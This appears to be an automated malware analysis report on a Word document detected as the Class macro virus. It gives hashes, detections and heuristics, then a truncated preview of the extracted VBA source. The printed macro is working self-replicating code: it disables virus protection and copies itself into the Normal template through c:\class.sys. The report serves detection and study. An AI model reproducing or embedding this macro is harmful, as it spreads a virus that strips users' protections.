Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c5710be1b47b0617…

MALICIOUS

Office (OLE)

43.0 KB Created: 1999-11-08 23:52:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 9cb5a93d154ed98461128e1301cc9ff3 SHA-1: 81714b6ffad0c8d8479bacbe47f2a4547cb91f58 SHA-256: c5710be1b47b0617bbce424ed3eb131648780fdb0dcc97bf95b59a58f75fe4a3
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of legacy WordBasic macro viruses and contains VBA macros. The AutoClose macro is designed to disable virus protection and export a component to 'c:\class.sys'. This component is then added to the document's VBA project, suggesting an attempt to establish persistence or execute a second-stage payload. The ClamAV detections further confirm its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Class-37 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-37
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 19129 bytes
SHA-256: 2bb66116f75aed56f1132b552d0b16bea96e78ebab73b68b9760440a97f7e759
Detection
ClamAV: Doc.Trojan.Class-23
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub AutoClose()
'MACRO11/8/99 3:52:20 PMCLASS-DP
On Error GoTo out
'MACRO11/8/99 3:52:20 PMCLASS-DP
Options.VirusProtection = False
'MACRO11/8/99 3:52:20 PMCLASS-DP
Options.SaveNormalPrompt = False
'MACRO11/8/99 3:52:20 PMCLASS-DP
Options.ConfirmConversions = False
'MACRO11/8/99 3:52:20 PMCLASS-DP
ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines
'MACRO11/8/99 3:52:20 PMCLASS-DP
nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines
'MACRO11/8/99 3:52:20 PMCLASS-DP
If nt > 70 And ad > 0 Then GoTo out
'MACRO11/8/99 3:52:20 PMCLASS-DP
If nt < 70 Then
'MACRO11/8/99 3:52:20 PMCLASS-DP
    Set host = NormalTemplate.VBProject.VBComponents.Item(1)
'MACRO11/8/99 3:52:20 PMCLASS-DP
    ActiveDocument.VBProject.VBComponents.Item(1).Name = host.Name
'MACRO11/8/99 3:52:20 PMCLASS-DP
    ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\class.sys"
'MACRO11/8/99 3:52:20 PMCLASS-DP
End If
'MACRO11/8/99 3:52:20 PMCLASS-DP
If ad = 0 Then Set host = ActiveDocument.VBProject.VBComponents.Item(1)
'MACRO11/8/99 3:52:20 PMCLASS-DP
host.codemodule.AddFromFile ("c:\class.sys")
'MACRO11/8/99 3:52:20 PMCLASS-DP
With host.codemodule
'MACRO11/8/99 3:52:20 PMCLASS-DP
    For x = 1 To 4
'MACRO11/8/99 3:52:20 PMCLASS-DP
    .deletelines 1
'MACRO11/8/99 3:52:20 PMCLASS-DP
    Next x
'MACRO11/8/99 3:52:20 PMCLASS-DP
End With
'MACRO11/8/99 3:52:20 PMCLASS-DP
If nt < 70 Then
'MACRO11/8/99 3:52:20 PMCLASS-DP
    With host.codemodule
'MACRO11/8/99 3:52:20 PMCLASS-DP
    .replaceline 1, "Sub AutoClose()"
'MACRO11/8/99 3:52:20 PMCLASS-DP
    .replaceline 71, "Sub ToolsMacro()"
'MACRO11/8/99 3:52:20 PMCLASS-DP
    End With
'MACRO11/8/99 3:52:20 PMCLASS-DP
End If
'MACRO11/8/99 3:52:20 PMCLASS-DP
With host.codemodule
'MACRO11/8/99 3:52:20 PMCLASS-DP
    For x = 2 To 72 Step 2
'MACRO11/8/99 3:52:20 PMCLASS-DP
    .replaceline x, "'" & Application.UserName & Now & Application.ActivePrinter & Application.ActiveWindow
'MACRO11/8/99 3:52:20 PMCLASS-DP
    Next x
'MACRO11/8/99 3:52:20 PMCLASS-DP
End With
'MACRO11/8/99 3:52:20 PMCLASS-DP
out:
'MACRO11/8/99 3:52:20 PMCLASS-DP
If nt > 70 And ad = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
'MACRO11/8/99 3:52:20 PMCLASS-DP
End Sub
'MACRO11/8/99 3:52:20 PMCLASS-DP

'MACRO11/8/99 3:52:20 PMCLASS-DP
Sub ToolsMacro()
'MACRO11/8/99 3:52:20 PMCLASS-DP
'Costin Raiu6/20/99 3:45:17 PMXerox 4900 PostScript on FILE:GOAT97-1
Options.VirusProtection = False
'Costin Raiu6/20/99 3:45:17 PMXerox 4900 PostScript on FILE:GOAT97-1
Options.SaveNormalPrompt = False
'Costin Raiu6/20/99 3:45:17 PMXerox 4900 PostScript on FILE:GOAT97-1
Options.ConfirmConversions = False
'Costin Raiu6/20/99 3:45:17 PMXerox 4900 PostScript on FILE:GOAT97-1
ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines
'Costin Raiu6/20/99 3:45:17 PMXerox 4900 PostScript on FILE:GOAT97-1
nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines
'Costin Raiu6/20/99 3:45:17 PMXerox 4900 PostScript on FILE:GOAT97-1
If nt > 70 And ad > 0 Then GoTo out
'Costin Raiu6/20/99 3:45:17 PMXerox 4900 PostScript on FILE:GOAT97-1
If nt < 70 Then
'Costin Raiu6/20/99 3:45:17 PMXerox 4900 PostScript on FILE:GOAT97-1
    Set host = NormalTemplate.VBProject.VBComponents.Item(1)
'Costin Raiu6/20/99 3:45:17 PMXerox 4900 PostScript on FILE:GOAT97-1
    ActiveDocument.VBProject.VBComponents.Item(1).Name = host.Name
'Costin Raiu6/20/99 3:45:17 PMXerox 4900 PostScript on FILE:GOAT97-1
    ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\class.sys"
'Costin Raiu6/20/99 3:45:17 PMXerox 4900 PostScript on FILE:GOAT97-1
End If
'Costin Raiu6/20/99 3:45:17 PMXerox 4900 PostScript on FILE:GOAT97-1
If ad = 0 Then Set host = ActiveDocument.
... (truncated)

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